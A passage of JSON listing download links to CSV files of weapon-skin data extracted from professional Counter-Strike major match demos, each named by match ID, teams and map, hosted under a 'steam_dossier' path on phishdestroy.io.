            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68325_virtus-pro-vs-faze-m1-inferno.dem.skins.csv"
          },
          {
            "label": "68325_virtus-pro-vs-faze-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68325_virtus-pro-vs-faze-m2-ancient.dem.skins.csv"
          },
          {
            "label": "68325_virtus-pro-vs-faze-m3-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68325_virtus-pro-vs-faze-m3-overpass.dem.skins.csv"
          },
          {
            "label": "68326_copenhagen-flames-vs-nip-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68326_copenhagen-flames-vs-nip-m1-nuke.dem.skins.csv"
          },
          {
            "label": "68326_copenhagen-flames-vs-nip-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68326_copenhagen-flames-vs-nip-m2-inferno.dem.skins.csv"
          },
          {
            "label": "68326_copenhagen-flames-vs-nip-m3-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68326_copenhagen-flames-vs-nip-m3-ancient.dem.skins.csv"
          },
          {
            "label": "68365_heroic-vs-virtus-pro-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68365_heroic-vs-virtus-pro-m1-mirage.dem.skins.csv"
          },
          {
            "label": "68365_heroic-vs-virtus-pro-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68365_heroic-vs-virtus-pro-m2-ancient.dem.skins.csv"
          },
          {
            "label": "68365_heroic-vs-virtus-pro-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68365_heroic-vs-virtus-pro-m3-inferno.dem.skins.csv"
          },
          {
            "label": "68366_g2-vs-nip-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68366_g2-vs-nip-m1-inferno.dem.skins.csv"
          },
          {
            "label": "68366_g2-vs-nip-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68366_g2-vs-nip-m2-mirage.dem.skins.csv"
          },
          {
            "label": "68371_gambit-vs-furia-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68371_gambit-vs-furia-m1-inferno.dem.skins.csv"
          },
          {
            "label": "68371_gambit-vs-furia-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68371_gambit-vs-furia-m2-overpass.dem.skins.csv"
          },
          {
            "label": "68372_natus-vincere-vs-vitality-m1-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68372_natus-vincere-vs-vitality-m1-dust2.dem.skins.csv"
          },
          {
            "label": "68372_natus-vincere-vs-vitality-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68372_natus-vincere-vs-vitality-m2-nuke.dem.skins.csv"
          },
          {
            "label": "68382_heroic-vs-g2-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68382_heroic-vs-g2-m1-nuke.dem.skins.csv"
          },
          {
            "label": "68382_heroic-vs-g2-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68382_heroic-vs-g2-m2-mirage.dem.skins.csv"
          },
          {
            "label": "68382_heroic-vs-g2-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68382_heroic-vs-g2-m3-inferno.dem.skins.csv"
          },
          {
            "label": "68384_gambit-vs-natus-vincere-m1-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68384_gambit-vs-natus-vincere-m1-overpass.dem.skins.csv"
          },
          {
            "label": "68384_gambit-vs-natus-vincere-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68384_gambit-vs-natus-vincere-m2-mirage.dem.skins.csv"
          },
          {
            "label": "68407_g2-vs-natus-vincere-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68407_g2-vs-natus-vincere-m1-ancient.dem.skins.csv"
          },
          {
            "label": "68407_g2-vs-natus-vincere-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68407_g2-vs-natus-vincere-m2-nuke.dem.skins.csv"
          },
          {
            "label": "71861_copenhagen-flames-vs-bad-news-eagles-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71861_copenhagen-flames-vs-bad-news-eagles-ancient.dem.skins.csv"
          },
          {
            "label": "71862_heroic-vs-liquid-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71862_heroic-vs-liquid-vertigo.dem.skins.csv"
          },
          {
            "label": "71863_nip-vs-vitality-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71863_nip-vs-vitality-overpass.dem.skins.csv"
          },
          {
            "label": "71864_cloud9-vs-outsiders-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71864_cloud9-vs-outsiders-mirage.dem.skins.csv"
          },
          {
            "label": "71865_faze-vs-ence-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71865_faze-vs-ence-mirage.dem.skins.csv"
          },
          {
            "label": "71866_furia-vs-spirit-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71866_furia-vs-spirit-nuke.dem.skins.csv"
          },
          {
            "label": "71867_big-vs-imperial-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71867_big-vs-imperial-nuke.dem.skins.csv"
          },
          {
            "label": "71868_natus-vincere-vs-g2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71868_natus-vincere-vs-g2-mirage.dem.skins.csv"
          },
          {
            "label": "71869_vitality-vs-outsiders-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71869_vitality-vs-outsiders-mirage.dem.skins.csv"
          },
          {
            "label": "71870_heroic-vs-spirit-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71870_heroic-vs-spirit-nuke.dem.skins.csv"
          },
          {
            "label": "71871_copenhagen-flames-vs-ence-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71871_copenhagen-flames-vs-ence-ancient.dem.skins.csv"
          },
          {
            "label": "71872_faze-vs-bad-news-eagles-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71872_faze-vs-bad-news-eagles-ancient.dem.skins.csv"
          },
          {
            "label": "71873_furia-vs-liquid-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71873_furia-vs-liquid-ancient.dem.skins.csv"
          },
          {
            "label": "71874_big-vs-natus-vincere-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71874_big-vs-natus-vincere-ancient.dem.skins.csv"
          },
          {
            "label": "71875_g2-vs-imperial-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71875_g2-vs-imperial-mirage.dem.skins.csv"
          },
          {
            "label": "71876_cloud9-vs-nip-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71876_cloud9-vs-nip-inferno.dem.skins.csv"
          },
          {
            "label": "71878_ence-vs-outsiders-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71878_ence-vs-outsiders-mirage.dem.skins.csv"
          },
          {
            "label": "71879_heroic-vs-g2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71879_heroic-vs-g2-vertigo.dem.skins.csv"
          },
          {
            "label": "71880_big-vs-furia-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71880_big-vs-furia-vertigo.dem.skins.csv"
          },
          {
            "label": "71881_cloud9-vs-faze-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71881_cloud9-vs-faze-nuke.dem.skins.csv"
          },
          {
            "label": "71882_vitality-vs-liquid-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71882_vitality-vs-liquid-m1-mirage.dem.skins.csv"
          },
          {
            "label": "71882_vitality-vs-liquid-m2-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71882_vitality-vs-liquid-m2-dust2.dem.skins.csv"
          },
          {
            "label": "71885_spirit-vs-copenhagen-flames-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71885_spirit-vs-copenhagen-flames-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "71885_spirit-vs-copenhagen-flames-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71885_spirit-vs-copenhagen-flames-m2-mirage.dem.skins.csv"
          },
          {
            "label": "71885_spirit-vs-copenhagen-flames-m3-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71885_spirit-vs-copenhagen-flames-m3-ancient.dem.skins.csv"
          },
          {
            "label": "71887_bad-news-eagles-vs-imperial-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71887_bad-news-eagles-vs-imperial-m1-inferno.dem.skins.csv"
          },
          {
            "label": "71887_bad-news-eagles-vs-imperial-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71887_bad-news-eagles-vs-imperial-m2-mirage.dem.skins.csv"
          },
          {
            "label": "71889_natus-vincere-vs-nip-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71889_natus-vincere-vs-nip-m1-inferno.dem.skins.csv"
          },
          {
            "label": "71889_natus-vincere-vs-nip-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71889_natus-vincere-vs-nip-m2-mirage.dem.skins.csv"
          },
          {
            "label": "71889_natus-vincere-vs-nip-m3-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71889_natus-vincere-vs-nip-m3-ancient.dem.skins.csv"
          },
          {
            "label": "71892_copenhagen-flames-vs-faze-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71892_copenhagen-flames-vs-faze-m1-inferno.dem.skins.csv"
          },
          {
            "label": "71892_copenhagen-flames-vs-faze-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71892_copenhagen-flames-vs-faze-m2-ancient.dem.skins.csv"
          },
          {
            "label": "71892_copenhagen-flames-vs-faze-m3-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71892_copenhagen-flames-vs-faze-m3-nuke.dem.skins.csv"
          },
          {
            "label": "71893_big-vs-vitality-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71893_big-vs-vitality-m1-mirage.dem.skins.csv"
          },
          {
            "label": "71893_big-vs-vitality-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71893_big-vs-vitality-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "71893_big-vs-vitality-m3-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71893_big-vs-vitality-m3-nuke.dem.skins.csv"
          },
          {
            "label": "71894_nip-vs-furia-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71894_nip-vs-furia-m1-nuke.dem.skins.csv"
          },
          {
            "label": "71894_nip-vs-furia-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71894_nip-vs-furia-m2-inferno.dem.skins.csv"
          },
          {
            "label": "71895_g2-vs-outsiders-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71895_g2-vs-outsiders-m1-inferno.dem.skins.csv"
          },
          {
            "label": "71895_g2-vs-outsiders-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71895_g2-vs-outsiders-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "71895_g2-vs-outsiders-m3-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71895_g2-vs-outsiders-m3-dust2.dem.skins.csv"
          },
          {
            "label": "71896_ence-vs-heroic-m1-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71896_ence-vs-heroic-m1-overpass.dem.skins.csv"
          },
          {
            "label": "71896_ence-vs-heroic-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71896_ence-vs-heroic-m2-mirage.dem.skins.csv"
          },
          {
            "label": "71896_ence-vs-heroic-m3-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71896_ence-vs-heroic-m3-nuke.dem.skins.csv"
          },
          {
            "label": "71897_cloud9-vs-imperial-m1-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71897_cloud9-vs-imperial-m1-overpass.dem.skins.csv"
          },
          {
            "label": "71897_cloud9-vs-imperial-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71897_cloud9-vs-imperial-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "71897_cloud9-vs-imperial-m3-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71897_cloud9-vs-imperial-m3-mirage.dem.skins.csv"
          },
          {
            "label": "71898_heroic-vs-vitality-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71898_heroic-vs-vitality-m1-mirage.dem.skins.csv"
          },
          {
            "label": "71898_heroic-vs-vitality-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71898_heroic-vs-vitality-m2-overpass.dem.skins.csv"
          },
          {
            "label": "71898_heroic-vs-vitality-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71898_heroic-vs-vitality-m3-inferno.dem.skins.csv"
          },
          {
            "label": "71899_g2-vs-furia-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71899_g2-vs-furia-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "71899_g2-vs-furia-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71899_g2-vs-furia-m2-inferno.dem.skins.csv"
          },
          {
            "label": "71899_g2-vs-furia-m3-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71899_g2-vs-furia-m3-ancient.dem.skins.csv"
          },
          {
            "label": "71900_copenhagen-flames-vs-imperial-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71900_copenhagen-flames-vs-imperial-m1-inferno.dem.skins.csv"
          },
          {
            "label": "71900_copenhagen-flames-vs-imperial-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71900_copenhagen-flames-vs-imperial-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "71910_nip-vs-faze-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m1-nuke.dem.skins.csv"
          },
          {
            "label": "71910_nip-vs-faze-m2-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m2-overpass.dem.skins.csv"
          },
          {
            "label": "71910_nip-vs-faze-m3-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m3-inferno.dem.skins.csv"
          },
          {
            "label": "71911_spirit-vs-furia-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71911_spirit-vs-furia-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "71911_spirit-vs-furia-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71911_spirit-vs-furia-m2-ancient.dem.skins.csv"
          },
          {
            "label": "71939_ence-vs-copenhagen-flames-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71939_ence-vs-copenhagen-flames-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "71939_ence-vs-copenhagen-flames-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71939_ence-vs-copenhagen-flames-m2-nuke.dem.skins.csv"
          },
          {
            "label": "71946_natus-vincere-vs-heroic-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71946_natus-vincere-vs-heroic-m1-inferno.dem.skins.csv"
          },
          {
            "label": "71946_natus-vincere-vs-heroic-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71946_natus-vincere-vs-heroic-m2-ancient.dem.skins.csv"
          },
          {
            "label": "71946_natus-vincere-vs-heroic-m3-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71946_natus-vincere-vs-heroic-m3-nuke.dem.skins.csv"
          },
          {
            "label": "71964_faze-vs-spirit-m1-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71964_faze-vs-spirit-m1-mirage.dem.skins.csv"
          },
          {
            "label": "71964_faze-vs-spirit-m2-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71964_faze-vs-spirit-m2-dust2.dem.skins.csv"
          },
          {
            "label": "71965_ence-vs-natus-vincere-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71965_ence-vs-natus-vincere-m1-nuke.dem.skins.csv"
          },
          {
            "label": "71965_ence-vs-natus-vincere-m2-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71965_ence-vs-natus-vincere-m2-dust2.dem.skins.csv"
          },
          {
            "label": "71998_faze-vs-natus-vincere-m1-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71998_faze-vs-natus-vincere-m1-inferno.dem.skins.csv"
          },
          {
            "label": "71998_faze-vs-natus-vincere-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71998_faze-vs-natus-vincere-m2-nuke.dem.skins.csv"
          },
          {
            "label": "75553_spirit-vs-bad-news-eagles-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75553_spirit-vs-bad-news-eagles-ancient.dem.skins.csv"
          },
          {
            "label": "75555_mouz-vs-liquid-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75555_mouz-vs-liquid-inferno.dem.skins.csv"
          },
          {
            "label": "75556_sprout-vs-big-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75556_sprout-vs-big-vertigo.dem.skins.csv"
          },
          {
            "label": "75557_faze-vs-cloud9-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75557_faze-vs-cloud9-overpass.dem.skins.csv"
          },
          {
            "label": "75558_outsiders-vs-heroic-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75558_outsiders-vs-heroic-overpass.dem.skins.csv"
          },
          {
            "label": "75559_vitality-vs-natus-vincere-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75559_vitality-vs-natus-vincere-mirage.dem.skins.csv"
          },
          {
            "label": "75560_ninjas-in-pyjamas-vs-fnatic-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75560_ninjas-in-pyjamas-vs-fnatic-inferno.dem.skins.csv"
          },
          {
            "label": "75562_furia-vs-ence-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75562_furia-vs-ence-vertigo.dem.skins.csv"
          },
          {
            "label": "75564_mouz-vs-big-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75564_mouz-vs-big-mirage.dem.skins.csv"
          },
          {
            "label": "75565_sprout-vs-liquid-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75565_sprout-vs-liquid-inferno.dem.skins.csv"
          },
          {
            "label": "75566_faze-vs-vitality-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75566_faze-vs-vitality-inferno.dem.skins.csv"
          },
          {
            "label": "75567_natus-vincere-vs-cloud9-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75567_natus-vincere-vs-cloud9-mirage.dem.skins.csv"
          },
          {
            "label": "75568_spirit-vs-furia-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75568_spirit-vs-furia-mirage.dem.skins.csv"
          },
          {
            "label": "75569_ence-vs-bad-news-eagles-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75569_ence-vs-bad-news-eagles-ancient.dem.skins.csv"
          },
          {
            "label": "75570_heroic-vs-fnatic-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75570_heroic-vs-fnatic-mirage.dem.skins.csv"
          },
          {
            "label": "75571_ninjas-in-pyjamas-vs-outsiders-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75571_ninjas-in-pyjamas-vs-outsiders-mirage.dem.skins.csv"
          },
          {
            "label": "75576_natus-vincere-vs-liquid-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75576_natus-vincere-vs-liquid-ancient.dem.skins.csv"
          },
          {
            "label": "75577_mouz-vs-vitality-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75577_mouz-vs-vitality-mirage.dem.skins.csv"
          },
          {
            "label": "75580_ence-vs-fnatic-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75580_ence-vs-fnatic-nuke.dem.skins.csv"
          },
          {
            "label": "75584_spirit-vs-outsiders-dust2.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75584_spirit-vs-outsiders-dust2.dem.skins.csv"
          },
          {
            "label": "75585_heroic-vs-cloud9-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75585_heroic-vs-cloud9-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "75585_heroic-vs-cloud9-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75585_heroic-vs-cloud9-m2-inferno.dem.skins.csv"
          },
          {
            "label": "75588_faze-vs-bad-news-eagles-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75588_faze-vs-bad-news-eagles-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "75588_faze-vs-bad-news-eagles-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75588_faze-vs-bad-news-eagles-m2-nuke.dem.skins.csv"
          },
          {
            "label": "75588_faze-vs-bad-news-eagles-m3-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75588_faze-vs-bad-news-eagles-m3-mirage.dem.skins.csv"
          },
          {
            "label": "75589_furia-vs-big-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75589_furia-vs-big-m1-nuke.dem.skins.csv"
          },
          {
            "label": "75589_furia-vs-big-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75589_furia-vs-big-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "75590_sprout-vs-ninjas-in-pyjamas-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75590_sprout-vs-ninjas-in-pyjamas-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "75590_sprout-vs-ninjas-in-pyjamas-m2-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75590_sprout-vs-ninjas-in-pyjamas-m2-ancient.dem.skins.csv"
          },
          {
            "label": "75593_natus-vincere-vs-bad-news-eagles-m1-ancient.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75593_natus-vincere-vs-bad-news-eagles-m1-ancient.dem.skins.csv"
          },
          {
            "label": "75593_natus-vincere-vs-bad-news-eagles-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75593_natus-vincere-vs-bad-news-eagles-m2-nuke.dem.skins.csv"
          },
          {
            "label": "75594_mouz-vs-outsiders-m1-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75594_mouz-vs-outsiders-m1-overpass.dem.skins.csv"
          },
          {
            "label": "75594_mouz-vs-outsiders-m2-inferno.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75594_mouz-vs-outsiders-m2-inferno.dem.skins.csv"
          },
          {
            "label": "75595_big-vs-fnatic-m1-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75595_big-vs-fnatic-m1-overpass.dem.skins.csv"
          },
          {
            "label": "75595_big-vs-fnatic-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75595_big-vs-fnatic-m2-mirage.dem.skins.csv"
          },
          {
            "label": "75596_ence-vs-vitality-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75596_ence-vs-vitality-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "75596_ence-vs-vitality-m2-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75596_ence-vs-vitality-m2-nuke.dem.skins.csv"
          },
          {
            "label": "75597_spirit-vs-sprout-m1-nuke.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75597_spirit-vs-sprout-m1-nuke.dem.skins.csv"
          },
          {
            "label": "75597_spirit-vs-sprout-m2-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75597_spirit-vs-sprout-m2-vertigo.dem.skins.csv"
          },
          {
            "label": "75598_heroic-vs-liquid-m1-vertigo.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75598_heroic-vs-liquid-m1-vertigo.dem.skins.csv"
          },
          {
            "label": "75598_heroic-vs-liquid-m2-mirage.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75598_heroic-vs-liquid-m2-mirage.dem.skins.csv"
          },
          {
            "label": "75598_heroic-vs-liquid-m3-overpass.dem.skins.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75598_heroic-vs-liquid-m3-overpass.dem.skins.csv"
          },
          {
            "label": "75602_mouz-vs-ence-m1-ancient.dem.skins.csv ↓",
